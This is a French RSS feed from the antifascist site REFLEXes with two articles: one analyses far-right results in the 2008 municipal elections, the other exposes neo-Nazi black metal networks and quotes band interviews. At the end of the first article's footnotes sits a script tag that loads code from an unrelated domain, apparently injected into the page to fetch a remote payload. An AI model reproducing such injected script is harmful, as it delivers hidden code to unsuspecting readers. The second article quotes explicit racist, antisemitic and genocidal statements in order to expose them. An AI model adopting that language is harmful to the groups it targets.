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	<title>REFLEXes &#187; Orange</title>
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	<description>EnquÃªtes et analyses sur l&#039;extrÃªme-droite contemporaine</description>
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		<title>Quelques réflexions sur les élections municipales 2008</title>
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		<pubDate>Wed, 19 Mar 2008 09:52:00 +0000</pubDate>
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				<content:encoded><![CDATA[<p>Les élections municipales ne sont plus depuis longtemps maintenant des élections de choix pour le Front national. Porté par le charisme de son leader Jean-Marie Le Pen et son image de parti « anti-système », le FN est toujours plus à l’aise lors des consultations nationales (surtout lorsqu’elle est personnalisée comme l’est l’élection présidentielle), et il est loin le temps où le FN était en mesure de peser dans des scrutins locaux, voire d’emporter des villes de moyenne importance (comme ce fut le cas lors des élections municipales de 1995 qui se soldèrent par la conquête des mairies de Toulon, d’Orange et de Marignane). Mais cette année, la situation est particulièrement critique : le parti ne présentait que 85 listes seulement dans des villes de plus de 3500 habitants (et non 10000 comme annoncé dans la presse) contre environ 150 en 2001. Ces listes ont d’ailleurs souvent été constituées dans l’urgence et avec difficulté (entre autres raisons à cause de la parité) et n’ont du parfois leur existence qu’à des apports extérieurs, en particulier du Parti Populiste en région parisienne et dans le Var mais également beaucoup de militants passés au MNR lors de la scission de 1999 et revenus au bercail pour ces élections, en particulier à Paris. Étant dans une situation financière catastrophique (plus de 9 millions d’euros de dettes) suite à l’échec à l’élection présidentielle de 2007 et une aide de l’État divisée par deux pour l’année 2008, le FN a été contraint entre autres de mettre en vente « le Paquebot », son siège depuis plus de 15 ans et d’annoncer qu’il ne pourrait bien souvent pas aider ses candidats… Préparer ces élections n’a donc pas été une partie de plaisir pour les militants locaux, livrés à eux-mêmes au point de vue financier et soumis aux tensions internes du parti.<br />
En plus de ces difficultés internes, le FN ne semble pas (du moins pour le moment) à même de retrouver une place dans le paysage politique et même plus largement dans l’actualité. Dans un récent sondage (TNS Sofres de mars 2008 pour le Figaro), on constate ainsi que, bien qu’on entende moins parler de lui, le FN continue (et de loin) à être le parti souffrant de la plus mauvaise image (82% en ayant une « très mauvaise opinion », contre 1% en ayant une « très bonne opinion »). Cette mauvaise image reste stable alors que rien ne vient l’alimenter et elle démontre que le rêve de Le Pen de voir revenir à lui les déçus de Sarkozy n’est pas prêt de se réaliser, comme l’ont finalement démontré ces élections…</p>
<p>Les résultats sont en effet dans l’ensemble mauvais. Le FN obtient 0,93% des suffrages au 1er tour contre 1,98% en 2001 (auxquels s’ajoutaient les 1,60% du MNR). Seules 13 listes ont pu se maintenir au 2ème tour (contre 41 en 2001 et 103 en 1995) et elles n’ont jamais été en situation d’apparaître comme les arbitres de l’élection.<br />
La ville symbole de cette petite déroute est évidemment Hénin-Beaumont, petite ville du Nord Pas-de-Calais de 26 000 habitants dans laquelle Marine Le Pen se présentait, seconde sur la liste du FN, derrière Steeve Briois, déjà candidat en 2001. Agé de 35 ans, membre du FN depuis 1988, Briois est né dans la région et il est implanté sur Hénin-Beaumont depuis 1994 sous l’étiquette FN. Malgré un passage chez Mégret au moment de la scission (il se présent avec l’étiquette MNR jusqu’en 2001), il retrouve le FN et mène une active campagne de terrain, à chaque élection, avec un certain succès. Il est vrai que la commune est un terrain de choix : Jean-Marie Le Pen y a obtenu l&rsquo;un de ses records à la présidentielle de 2002 (31,7% au premier tour). Impossible de ne pas penser à Vitrolles, la ville conquise par les époux Mégret en 1997 suite à une élection municipale partielle. Même contexte économique dégradé, en grande partie suite à la fermeture de l&rsquo;usine Metaleurop et de façon plus générale à l’effondrement du bassin minier : ici, le FN se la joue social, organisant début 2003 des manifestations de soutien aux ouvriers licenciés (Marie-France Stirbois avait déclaré à l’époque : « n&rsquo;ayons pas peur de tracter devant les usines ! »), dénonçant les « professionnels de l’agitation » que seraient les syndicalistes… Un discours social qui avait été repris en son temps par l’ensemble du FN, qui dénonçait l’ultralibéralisme qui consisterait à « faire venir une main-d&rsquo;œuvre étrangère pour casser les prix ». Même contexte politique dégradé, en grande partie à cause de l’attitude de la municipalité PS en place qui, entre gestion désastreuse et guerre de clan (3 listes se présentaient !!), ne peut décemment inspirer à la population que méfiance et dégoût. Marine Le Pen, arrivée récemment sur la ville, a certes été battue au deuxième tour des dernières législatives, mais avec quand même 41,65 % des voix ! Elle pouvait donc apporter à Briois une certaine notoriété, et surtout une « aura » qui faisait défaut au candidat local. Le moins qu’on puisse dire est que cela a été un échec dès le 1er tour, ce qui pose l’évidente question de la validité du discours catastrophiste du FN et surtout du handicap que représenterait à présent l’étiquette FN. Si par le passé celle-ci aurait permis à une chèvre d’obtenir de bons résultats électoraux, il semble que ce ne soit plus automatiquement le cas, d’où des résultats parfois très surprenants, totalement indépendants du relatif « enracinement » ou du travail militant du candidat FN. Seule certitude : les déçus du sarkozysme sont restés chez eux et n’ont pas choisi de revenir vers le FN. On peut supposer que les querelles intestines et la perte de dynamisme du parti ont contribué à le banaliser et à en saper le caractère protestataire.</p>
<p>Mais ces élections ont surtout été intéressantes pour leurs à-côtés. Le premier point est l’agonie prolongée du MNR. Alors que le parti avait pu rassembler 1,60% des suffrages en 2001, il était quasiment absent de ces élections municipales avec seulement sept listes en lice pour toute la France. L’aspect financier a évidemment sans doute été déterminant, le parti ayant été saigné par des échecs répétés et les éventuels donateurs tout aussi échaudés. Mais cela traduit sans doute également le fait qu’une large partie de ce qu’il reste de « militants » n’y croit plus. On ne voit donc pas trop ce qui pourrait permettre au MNR de se relever dans les mois à venir.</p>
<p>Le deuxième est l’affaire de Nice. Suite à leur relatif succès aux cantonales de 2007, il était évident que les Identitaires avaient tout intérêt à être présents aux municipales niçoises. La difficulté de se présenter seuls les poussaient tout naturellement à chercher une alliance locale en particulier avec le FN. Mais celui-ci était alors engagé dans des négociations avec Jacques Peyrat, maire sortant, ancien du FN et à l’avenir politique incertain face à la candidature du sarkozyste Estrosi. Les Identitaires se tournaient donc vers le MNR niçois et parvenait à un accord, suivi d’un rapprochement avec le FN niçois suite à l’échec des négociations avec Peyrat. Les Identitaires étaient alors en mesure de clamer que la liste NISSA était une liste d’union, démontrant par la même que le résultat leur importait plus que le contenu politique puisqu’une telle liste mélangeait régionalistes européistes et jacobins français. Mais c’était compter sans la réaction de la direction nationales du FN, Jean-Marie Le Pen en tête, qui lançait fin janvier la création d’une liste FN à Nice. On peut évidemment conjecturer à loisir sur les raisons de cette décision. S’y mêlent sans doute le dépit de ne pas être présent dans la 9ème ville de France et celui d’être absent d’une ville qui a toujours donné de très bons scores au FN depuis la fin des années 1980 ainsi que la volonté de signifier l’échec des négociations avec J. Peyrat. Cependant le choix de Marc Georges comme directeur de campagne local ne peut qu’induire d’autres interprétations. Les relations entre ce dernier et les Identitaires sont en effet plus que tendues et sa proximité avec Marine Le Pen est telle que cette désignation ne doit rien au hasard. Elle a clairement pris la signification d’une déclaration de guerre qui a amené les deux camps à s’affronter directement (menaces, pressions, plaintes et coups bas<sup><a href="https://reflexes.samizdat.net/quelques-reflexions-sur-les-elections-municipales-2008/#footnote_0_332" id="identifier_0_332" class="footnote-link footnote-identifier-link" title="Cela a culmin&eacute; avec la rixe entre militants identitaires et frontistes le 26 f&eacute;vrier 2008 &agrave; proximit&eacute; et dans le local des Identitaires, suivie d&rsquo;une bataille de plaintes judiciaires et de communiqu&eacute;s vengeurs. Cocasse.">1</a></sup>) mais aussi à se découvrir. De ce point de vue on peut relever le communiqué de Nissa Rebela du 26 janvier dans lequel Marc Georges est stigmatisé comme admirateur du Hezbollah, ce qui constitue un évident appel du pied à la forte communauté juive pied-noir niçoise dont un écho se trouve sans doute dans l’invitation de la LDJ<sup><a href="https://reflexes.samizdat.net/quelques-reflexions-sur-les-elections-municipales-2008/#footnote_1_332" id="identifier_1_332" class="footnote-link footnote-identifier-link" title="Ligue de D&eacute;fense Juive, structure de l&rsquo;extr&ecirc;me droite communautaire">2</a></sup> aux juifs niçois de ne pas voter pour la liste FN.<br />
Finalement, le 17 février, Bruno Gollnish lançait officiellement la liste FN avec Lydia Schenardi en tête de liste lors d’une conférence de presse comique dont <em>Nice Matin</em> a rendu compte le lendemain : « <em>Si Lydia Schenardi, 51 ans, député européen et conseillère régionale FN, se refuse à dévoiler le « casting » de sa liste, le FN assure être en ordre de marche pour les Municipales. Ou presque. La liste FN n&rsquo;en est encore qu&rsquo;au stade de l&rsquo;intention</em> (« Nous la déposerons en préfecture sous 48 heures »), <em>mais l&rsquo;intention vaudrait l&rsquo;action. Qu&rsquo;on ne vienne d&rsquo;ailleurs pas dire à Marc George, sorte de gérant de tutelle d&rsquo;un FN niçois en crise dépêché par Le Pen, que sa liste est introuvable. […] La raison officielle de ce « casting » secret ne devrait rien à un manque de volontaires :</em> « Je ne cite aucun nom parce que je tiens à protéger mes colistiers contre les pressions et autres menaces auxquelles sont toujours confrontés les candidats FN. Tout ce que je peux dire, c&rsquo;est que Gilbert Pigli sera en 2e position juste devant Marie-Automne Peyregne. » <em>Il faudra se contenter de ça. Et d&rsquo;un discours inaugural de campagne encore très conceptuel hier. Parfois même un peu décalé lorsque Lydia Schenardi fait de « la sécurité sur la Croisette » un de ses axes de campagne&#8230; avant de se rendre compte qu&rsquo;à Nice, la Croisette s&rsquo;appelle la Prom. Dans la salle à manger des Collinettes, Lydia Schenardi est vite pardonnée. La soixantaine de militants présents ne veut retenir qu&rsquo;une chose : le FN ne fera pas campagne buissonnière. Du moins au premier tour. Certes, le FN dit se présenter aujourd&rsquo;hui avec l&rsquo;ambition d&rsquo;être présent au second tour.</em> « Nous ferons 10 % minimum ». <em>Mais la vérité pourrait être ailleurs. Pour Bruno Gollnisch</em> « rien ne nous interdirait si nous trouvions un accord de second tour avec le sénateur-maire, de fusionner avec la liste Peyrat ». <em>Marc George, lui, est encore plus clair :</em> « Nous allons faire battre Estrosi ». <em>Si ça ne fait pas un programme, ça fait déjà un but</em> ».<br />
À partir de là, tout le discours des Identitaires a été de découpler FN parisien et FN niçois en insistant sur le caractère parachuté des premiers et à l’inverse sur leur enracinement supposé. Cependant l’examen de leur liste a de quoi faire sursauter car certains noms ne nous sont pas inconnus et montrent que les Identitaires niçois ont une conception très… étendue de l’enracinement local<sup><a href="https://reflexes.samizdat.net/quelques-reflexions-sur-les-elections-municipales-2008/#footnote_2_332" id="identifier_2_332" class="footnote-link footnote-identifier-link" title="Par exemple les ex militantes parisiennes du FNJ puis du MNR Aude Rassat et St&eacute;phanie Fontani&eacute;, bien loin de leur r&eacute;gion d&rsquo;attache&hellip;">3</a></sup> ! Au final la liste FN recueille 4,16% et la liste NISSA 3,03%. Ces résultats et cette guerre d’usure apportent quelques enseignements :</p>
<p>- la rupture est bien consommée entre les directions respectives des Identitaires et du FN. Cela peut certes sembler une évidence depuis quelques mois. Mais jamais les dirigeants du Bloc n’avaient pris le risque d’affronter le FN aussi directement, multipliant les embûches pour l’empêcher de présenter une liste dans une ville qui demeure très symbolique. Cela laissera des traces et, Le Pen ayant la mémoire longue, on peut s’attendre à des mesures de rétorsion dans les mois à venir.</p>
<p>- le résultat des Identitaires est globalement un succès pour eux. Certes la liste NISSA ne dépasse pas les 5% et se trouve reléguée derrière celle du FN. Mais la différence n’est pas énorme et les Identitaires confirment un ancrage local qui n’est pas niable. Cet ancrage contraste d’ailleurs largement avec les autres listes qui se réclamaient du courant identitaire, que ce soit à Dreux ou surtout en Alsace. Le mouvement Alsace d’Abord fait en effet des scores piteux, en particulier à Strasbourg, et démontre ainsi que son implantation locale est largement sujette à caution dès lors que ce courant existe sous diverses appellations depuis quasiment 20 ans. L’échec de R. Spieler à Strasbourg manifeste donc plus largement celui de son mouvement. Le score de Laurent Leclercq à Dreux est légèrement supérieur (4,30%) mais totalement ridicule par rapport aux scores que pouvait obtenir le FN dans cette ville depuis 1983. Certains dont Chantal Spieler<sup><a href="https://reflexes.samizdat.net/quelques-reflexions-sur-les-elections-municipales-2008/#footnote_3_332" id="identifier_3_332" class="footnote-link footnote-identifier-link" title="Sur le site de la revue Synth&egrave;se Nationale">4</a></sup> ont immédiatement essayé d’expliquer ces faibles résultats par la concurrence des listes FN, en particulier à Strasbourg et Nice, mais il est évident que l’argument ne tient pas tant les deux lignes politiques sont différentes et donc l’électorat également. Il est évident que ces listes identitaires auraient fait des scores légèrement supérieurs sans présence frontiste mais ces mauvais scores s’expliquent sans doute surtout par l’inanité des propositions identitaires, le recours obsessionnel à « l’identité » étant l’argument sensé suppléer à la faiblesse des propositions.</p>
<p>Le troisième point remarquable est, a contrario de tous ces mauvais scores, le succès des Bompard dans le Vaucluse avec la réélection de Jacques Bompard à Orange et la conquête de Bollène par Marie-Claude Bompard. Ces deux élections montrent que l’extrême droite peut gagner un scrutin pour peu qu’elle ne s’affiche pas comme telle. Au contraire, une simple étiquette divers droite suffit à masquer la nature réelle des propositions et à éviter les foudres médiatiques. Il suffit pour s’en convaincre de comparer le tonnerre de la 1ère élection de Jacques Bompard en 1995 avec le silence et la relative indifférence ayant entouré sa réélection cette année ainsi que celle de son épouse. Mais entre temps Jacques Bompard a rompu avec Jean-Marie Le Pen, a affiché une étiquette MPF un peu moins outrée et a ainsi pu se refaire une certaine virginité politique sans pour autant changer d’idées. Il en va de même avec son épouse et s’il ne devait y avoir qu’une manifestation de cet état de fait, ce serait la présence sur sa liste de l’identitaire André-Yves Beck<sup><a href="https://reflexes.samizdat.net/quelques-reflexions-sur-les-elections-municipales-2008/#footnote_4_332" id="identifier_4_332" class="footnote-link footnote-identifier-link" title="Cf diff&eacute;rents articles sur le site R&eacute;flexes">5</a></sup>, à présent conseiller municipal.</p>
<p>Bien loin des fanfaronnades médiatiques sur la disparition du « danger extrémiste », on ne peut au contraire qu’être préoccupé par cette situation qui montre qu’une extrême droite ayant compris le fonctionnement des media garde toutes ses chances électorales en France. Le contraire serait bien évidemment étonnant au regard du contexte socio-économique mais cela ne semble pas être une évidence pour tous les analystes…</p>
<ol class="footnotes"><li id="footnote_0_332" class="footnote">Cela a culminé avec la rixe entre militants identitaires et frontistes le 26 février 2008 à proximité et dans le local des Identitaires, suivie d&rsquo;une bataille de plaintes judiciaires et de communiqués vengeurs. Cocasse.</li><li id="footnote_1_332" class="footnote">Ligue de Défense Juive, structure de l&rsquo;extrême droite communautaire</li><li id="footnote_2_332" class="footnote">Par exemple les ex militantes parisiennes du FNJ puis du MNR Aude Rassat et Stéphanie Fontanié, bien loin de leur région d&rsquo;attache&#8230;</li><li id="footnote_3_332" class="footnote">Sur le site de la revue Synthèse Nationale</li><li id="footnote_4_332" class="footnote">Cf différents articles sur le site Réflexes</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>Zik &amp; Zina. Quand la musique fait boum&#8230;</title>
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		<pubDate>Mon, 06 Dec 2004 20:18:32 +0000</pubDate>
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		<description><![CDATA[Publié en décembre 1997 Carpentras, Toulon, rien de commun à priori si se n&#8217;est la profanation de tombes dans un cimetière. D&#8217;un côté une bande de skin de l&#8217;autre des garçons et des filles adeptes d&#8217;un culte à Satan. Et pourtant entre les deux affaires, il existe plus de points communs qu&#8217;on ne pourrait croire. [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Publié en décembre 1997</p>
<p><strong>Carpentras, Toulon, rien de commun à priori si se n&rsquo;est la profanation de tombes dans un cimetière. D&rsquo;un côté une bande de skin de l&rsquo;autre des garçons et des filles adeptes d&rsquo;un culte à Satan. Et pourtant entre les deux affaires, il existe plus de points communs qu&rsquo;on ne pourrait croire.</strong></p>
<p>À la fin des années 1970 l&rsquo;extrême droite a compris la nécessité d&rsquo;investir le champ culturel et notamment le terrain musical. Celui-ci et notamment le Rock sont perçus comme un vecteur capable de porter plus facilement le message politique de ces groupes notamment en direction de la jeunesse.<br />
Pendant longtemps une telle stratégie va rester cantonnée dans un ghetto, principalement celui de la scène skinhead. Mais depuis quelques années s&rsquo;est amorcée une nouvelle évolution : outre les groupes issus de la scène skinhead, on trouve dorénavant des formations qui représentent des genres musicaux nouveaux : le Black Metal, la musique industrielle et le Hard Rock&#8230;<br />
Il faut aussi ajouter que ce renouveau musical s&rsquo;est accompagné de la création de véritables réseaux visant exclusivement à reprendre les idées nationalistes par l&rsquo;organisation de concerts, la publication de bulletin d&rsquo;infos mêlant rubriques musicales et politiques, la production de disques, la diffusion de tee-shirts, K7 vidéo&#8230;</p>
<p>De nouvelles alliances se forment en vue de diffuser plus largement leur programme. C&rsquo;est ainsi qu&rsquo;aujourd&rsquo;hui se côtoient et collaborent ensemble des skinheads nationaux-socialistes, des adeptes du satanisme et des anciennes traditions païennes.</p>
<h3>Tout d&rsquo;abord un petit retour historique<sup><a href="https://reflexes.samizdat.net/zik-zina-quand-la-musique-fait-boum/#footnote_0_228" id="identifier_0_228" class="footnote-link footnote-identifier-link" title="Tir&eacute; de Rage n&deg;9.">1</a></sup></h3>
<p>Le Rock et ses dérivés a toujours dégagé une odeur de souffre&#8230; Pour les plus vieux, citons pour mémoire «Sympathie for the Devil» des Rolling Stones ainsi que les rumeurs malveillantes sur Led Zeppelin et Deep Purple. Avec l&rsquo;apparition de Black Sabbat commence à se développer un style aux références plus marquées. Mais c&rsquo;est en 1979 que va apparaître le groupe qui va donner son nom à ce nouveau style de rock, il s&rsquo;agit de Venom avec son deuxième album intitulé <em>Black Metal</em>. Celui-ci va influencer toute une nouvelle scène qui pointe dans le Nord de l&rsquo;Europe et surtout en Scandinavie. Le style mêle à la fois maquillage provoquant, pseudonymes ronflants, références à Lovercraft, Aleister Crowley, pratiques satanistes&#8230; Le style va connaître son apogée en 1991 avec le suicide de la formation phare de l&rsquo;époque : Mayhem. Ce suicide va faire basculer la scène Black Metal norvégienne dans le fait divers. C&rsquo;est ainsi que va se développer une organisation pseudo-terroriste intitulée Black Metal Mafia, apparemment sous l&rsquo;impulsion des membres du groupe norvégien Darkthrone, qui s&rsquo;était fait remarquer par ses communiqués antisémites : «<em>Toute personne se permettant de critiquer notre disque sera considéré comme ayant une attitude de Juif</em>». Ce délire va culminer en 1992 et 1993 avec l&rsquo;arrestation de la quasi intégralité des membres d&rsquo;Emperor, un autre groupe norvégien, pour des incendies criminels d&rsquo;églises, vol et meurtre, homicide volontaire sur un homosexuel.</p>
<p>Est aussi arrêté Christian «Vag» Vikernes, 20 ans, alias Count Grishmqckh, leader du groupe Burzum pour meurtre et incendie d&rsquo;église. Condamné à 21 ans de prison, celui-ci est devenu une sorte de héros pour la scène Black Metal du monde entier. Ses déclarations sont souvent reproduites dans les fanzines des adeptes de ce genre musical. Elles dévoilent la vision politique du personnage et d&rsquo;une certaine partie des musiciens et des fans de Black Métal : «<em>Je suis nationaliste. Mon but est de glorifier le royaume de Norvège. Nous avons la peau blanche, les yeux bleus, les cheveux blonds, nous sommes des demi-dieux. Les autres n&rsquo;ont pas de place ici</em>». «<em>Je soutiens toutes les dictatures : Staline, Hitler, Ceaucescu</em>&#8230;». «<em>Je hais la paix et j&rsquo;aime “enculer” les gens stupides qui marchent autour et s&rsquo;aiment entre eux. Nous faisons la guerre</em>». «<em>Il n&rsquo;y a pas de meilleure chose dans l&rsquo;esprit que la violence. Juste marcher dans la rue et frapper un garçon c&rsquo;est stimulant</em>».<br />
En prison il s&rsquo;est attaqué à la lecture de <em>Mein Kampf</em> et possède même un fan club en France.</p>
<h3>En France</h3>
<p>En effet la scène Black Metal s&rsquo;est développée au début des années 1990 en France, avec l&rsquo;éclosion de plusieurs groupes et de divers fanzines liés à ce mouvement. En mars 1995 paraît le premier numéro d&rsquo;un nouveau zine intitulé <em>Deo Occidi</em> (Dieu est mort). Il est l&rsquo;oeuvre d&rsquo;un certain Rudy Potyralla. Pour celui-ci, <em>Deo Occidi</em> n&rsquo;est pas un nouveau fanzine de Black Metal, comme il s&rsquo;en créait chaque année. Il se veut avant tout anti-chrétien et veut surtout former politiquement le public du Black Metal. Dès le deuxième numéro, paru en juillet 1995, Potyralla précise un peu ses idées : «<em>Jésus est en train de mourir, la guerre raciale est en train de commencer. Encourager le combat racial/nationaliste contre le Gouvernement d&rsquo;Occupation Sioniste (ZOG), le communisme, les musulmans et les ordures de drogués et les homosexuels</em>».</p>
<p>Le numéro 3 paru à l&rsquo;automne 1995 annonce clairement la couleur : «<em>Deo Occidi n°2 a eu un grand succès et vous a informé qu&rsquo;il existait une nouvelle génération de nationaux socialistes dans toute l&rsquo;Europe et en France. Aussi nous avons décidé de créer une organisation de groupes de Black Metal qui approuvent notre idéologie</em>». Le zine mêle interviews de groupes français et étrangers et articles sur le satanisme, la torture, Lovecraft&#8230; Au fil des numéros vont apparaître des articles sur la Waffen SS, l&rsquo;antisémitisme marquant notamment l&rsquo;orientation de la revue. Une vision politique qui semble partagé par nombre de groupes français comme le prouvent ces extraits d&rsquo;interviews.</p>
<p>Ainsi Osculum, un groupe de Montreuil, qui à la question «<em>Êtes-vous intéressés par le nationalisme</em> ?» répond : «<em>Intéressés ? Nous sommes nationalistes français et fier de l&rsquo;être. La guerre en France est proche.<br />
- Que pensez-vous des Juifs, des musulmans ?<br />
- Nous les aimons&#8230;quand ils sont morts. Nous avons un totale répugnance pour les musulmans, ce n&rsquo;est pas une race c&rsquo;est de la merde</em>».</p>
<p>Articulo Mortis de l&rsquo;Isle sur Sorgues dans le Vaucluse :<br />
«- <em>Quel serait le monde parfois pour vous ?<br />
- Le monde parfait serait, un monde sans chrétien et autres inférieurs comme les arabes et les nègres<br />
- Êtes-vous intéressés par le nationalisme<br />
- Nous sommes très nationalistes et racistes, nous aimons les arabes surtout quand ils ne savent pas nager</em>».</p>
<p>Dark Sanctuary de Paris :<br />
«- <em>Que pensez-vous des essais nucléaires sur Mururoa les approuvez-vous ?<br />
- Je suis contre les essais nucléaires à Mururoa. C&rsquo;est un endroit superbe et cela coûte beaucoup d&rsquo;argent. Ne testons plus la bombe sur des poissons. testons là sur Alger ou sur Israël</em>».</p>
<p>Lord, un groupe du Nord de la France :<br />
«- <em>J&rsquo;ai vu que certains groupes français de BM (Black Metal) sont racistes. Comment expliquez-vous cela et quel est votre point de vue ?<br />
- Si certains groupes ne sont pas racistes, c&rsquo;est qu&rsquo;ils ne connaissent pas vraiment les arabes et les Nègres. Il est temps maintenant de détruire ces races. Gloire au pouvoir blanc. Guerre contre les musulmans</em>».</p>
<p>Prophecy de Blois :<br />
«- <em>Parlons un peu de la France : je pense que nous somme sur la bonne voie : 15% pour le FN aux présidentielles, un président de droite, les essais nucléaires, qu&rsquo;en pensez-vous ?<br />
- nous sommes sur la bonne voie avec le FN. Les gens ont finalement réagi face à la menace de l&rsquo;immigration, le règne de l&rsquo;insécurité; etc. imposé par ces primitifs qui souillent notre sol. Il est temps de se battre contre ça. Sur la mafia juive, ils contrôlent beaucoup de choses (média, économie, politique&#8230;), mais en ce moment en France personne ne bouge ou ne réagit contre cela, par peur d&rsquo;être néo-nazis ! Battons-nous contre cette vermine, donnons leur un vrai holocauste cette fois&#8230; Nous devons sauver la race blanche contre les hordes de bâtards primitifs. Nous devons instituer la terreur nous devons instituer un ordre nouveau</em>».<br />
Étienne Van Acker, l&rsquo;un des membres du groupe, écrira une apologie des Waffen SS dans <em>Deo Occidi</em> n°3.</p>
<h3>J&rsquo;ai voté Front National</h3>
<p>Cette scène semble surtout s&rsquo;être développée dans le Sud de la France et plus particulièrement dans la région de Toulon. C&rsquo;est ainsi que dans le n°2 de <em>Deo Occidi</em> on peut lire l&rsquo;interview d&rsquo;un groupe de Toulon, Blessed in Sin :<br />
«- <em>Actuellement votre ville est dirigée par le FN, que pensez-vous de cela ?<br />
Pensez-vous que la vie dans votre ville est meilleure avec ces nouveaux dirigeants, êtes-vous intéressés par la politique.<br />
- J&rsquo;espère que la vie sera meilleure, c&rsquo;est pourquoi j&rsquo;ai voté FN. Ce sont des enculés de chrétiens mais ce sont les plus extrémistes en politique, ici, en France et j&rsquo;espère qu&rsquo;ils feront quelques choses contre l&rsquo;immigration. Je hais les gens mais les pires ce sont les arabes et les négros qui sont beaucoup trop dans nos rues. Comme avec tous les chrétiens, les juifs et les musulmans, il faut brûler toute cette merde, tous les gazer, pas de pitié pour les inférieurs.<br />
- Comment voyez-vous, le futur de la scène Black Metal en France ?<br />
- Pour être un vrai groupe de BM, vous devez être contre les fausses religions et encourager notre guerre. Ceux qui n&rsquo;aiment pas brûler les églises, profaner des cimetières n&rsquo;ont rien à faire dans notre scène</em>».</p>
<p>Dans <em>Deo Occidi</em> n°3, c&rsquo;est au tour d&rsquo;un autre groupe de Toulon, Funeral, d&rsquo;être interviewé :<br />
«- <em>Pensez-vous que les idées sont plus importantes que la musique pour un groupe de BM ?<br />
- J&rsquo;ai créé Funeral seulement pour exprimer mes idées qui sont basées sur le génocide de la race humaine, la destruction des religions juive, chrétienne, musulmane, la pureté et la suprématie de la vraie race aryenne. Nous sommes les successeurs des SS. Nous allons finir le travail qu&rsquo;ils ont commencé pour protéger notre sang et votre honneur</em>».<br />
L&rsquo;interview est illustrée par la photo de deux adeptes de BM au pied d&rsquo;une tombe, maquillés et porteurs d&rsquo;un brassard à croix gammée. Des paroles, il semble que l&rsquo;on soit très vite passé aux actes. Début juin, une tombe est profanée dans le cimetière de Toulon, un crucifix est planté à l&rsquo;envers dans un cadre embaumé tiré de sa tombe. Très vite la police arrête les auteurs de la profanation : deux garçons et deux filles. Les deux garçons sont Antony Mignoni, membre du groupe Funeral, et Christophe Magnoni, membre du groupe Blessed in Sin.</p>
<p>L&rsquo;orientation politique de <em>Deo Occidi</em> semble s&rsquo;être accentuée, depuis que celle-ci a établi des liens étroits de collaboration avec une vielle connaissance, Hervé Guttuso, et les <a href="http://reflexes.samizdat.net/skinheads-ou-le-le-pen-proletariat/">Charlemagne Hammer Skins</a>. Celui-ci, suite à des problèmes avec la justice pour ses écrits dans sa revue <em>Terreur d&rsquo;Élite</em>, a du arrêter la publication de celle-ci et arrêter sa boîte de distribution 88 Diffusion. Ayant quitté Marseille, il se réfugie un temps à Paris chez un militant du PNFE, Pascal Biaux, avant de partir en Angleterre chez ses copain de C18. Avec leur appui, il relance les CHS tout d&rsquo;abord en diffusant deux nouvelles publications : <em>14 mots</em> “Bulletin de liaison des authentiques Aryens Révolutionnaires” et <em>Wotan</em> bulletin d&rsquo;infos des CHS.</p>
<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2004/12/WOTAN-214b1.jpg"><img class="aligncenter size-full wp-image-952" src="http://reflexes.samizdat.net/wp-content/uploads/2004/12/WOTAN-214b1.jpg" alt="WOTAN-214b1" width="394" height="547" /></a></p>
<p>Ces deux revues avaient d&rsquo;abord élu domicile aux États-Unis chez 14 words press, une boîte de diffusion tenue par Katya Lane, la femme de <a href="http://reflexes.samizdat.net/skinheads-ou-le-le-pen-proletariat/">David Lane</a>. Mais s&rsquo;étant rendu compte du côté un peu délirant du personnage, ses amis américains ont demandé à Guttuso d&rsquo;aller se faire voir ailleurs. Du coup les nouvelles publications des CHS sont domiciliées en Angleterre à la boite postale de C18. Les CHS ont aussi ouvert un site sur Internet qui change souvent d&rsquo;emplacement. La presse des CHS présente les obsessions de Guttuso et de ses petits camarades : ZOG (le fameux gouvernement d&rsquo;occupation sioniste), des conseils sur la fabrication d&rsquo;armes, des textes de militants américains, des conseils juridiques mais aussi des règlements de compte avec certaines personnalité de la scène skin, en particulier avec le PNFE et son ancien camarade Greg Reemers, un skin du Havre responsable du zine <em>Viking</em>. En froid avec une bonne partie des skins français, les CHS cherchent de nouveaux liens avec la scène Black Metal. C&rsquo;est ainsi qu&rsquo;on peut lire un article de présentation des CHS dans <em>Deo Occidi</em>, qui renvoit l&rsquo;ascenseur en le présentant dans <em>14 Mots</em>. Dans celle-ci, la personne interrogée présente une organisation dont il est aussi membre, Black Order, qui est une organisation sataniste internationale dont le siège se trouve en Nouvelle Zélande, avec un relais en Angleterre pour l&rsquo;Europe : «<em>Black Order fait la promotion des racines occultes à travers ses religions (comme l&rsquo;Odinisme) ou sa philosophie (Nietzsche en particulier) tout comme sa politique (nous sommes tous nazis), rétablit le côté sombre et naturel de l&rsquo;homme et cherche à établir un culture politique qui sied à l&rsquo;homme blanc</em>».(&#8230;) «<em>Notre but est aussi une société blanche dominant culturellement et scientifiquement le monde civilisé régnant sur les races inférieures. Nos moyens sont les mêmes que ceux des Juifs, le noyautage ! C&rsquo;est-à-dire imposer une contre-culture. Nous gagnons beaucoup de supporters par notre action idéologique. Il faut ensuite les faire passer de l&rsquo;état de combattants anti-chrétien à celui de combattant politique racial. À travers mon fanzine Deo Occidi je démonte le mensonge chrétien, la manipulation des esprits et la grande machination juive, il est logique que l&rsquo;étape suivante soit le national socialisme&#8230; Pour le moment je juge plus utile de parfaire l&rsquo;éducation des Blacks Metals fan, de les introduire dans les milieux NS afin qu&rsquo;ils y apprennent le plus de choses possibles. Eux-mêmes logiquement s&rsquo;engageront par la suite dans la lutte au niveau individuel. Notre association (action indépendante du Black Order) supervise regroupe les groupes satanistes NS, nous avons créés une charte que nous leurs imposons tel un code d&rsquo;honneur, nous développons les liens entre gens sûrs</em>&#8230;»<br />
L&rsquo;emblème du Black Order est un svastika à l&rsquo;intérieur d&rsquo;un cercle formé par un serpent qui se mord la queue. Il existe une section du Black Order en France, dirigée par Sacha Titeux de Reims. C&rsquo;est un ancien skin qui au début des années 1990 diffusait un zine intitulé <em>Sang et Honneur</em>. Les rédacteurs de <em>Deo Occidi</em> ont créé une association basée à Rouen et intitulé AMSG (Ad Majorem Satanae Gloria). Celle-ci distribue et produit les disques et démos des groupes français de Black Metal national-socialiste. Une de leur première production est celle de Osculum et de Funeral. Une compilation d&rsquo;autres groupes est en préparation. À la même adresse que AMSG on trouve une association intitulé SD 88 qui diffuse toute une série de zines skinheads comme ceux de Guttuso, <em>Resistance</em>, <em>Gestapo</em>, <em>White Spirit</em> fait par Philippe Bourdon de Béthune, <em>Pittbul</em> de Alex Billochon&#8230;</p>
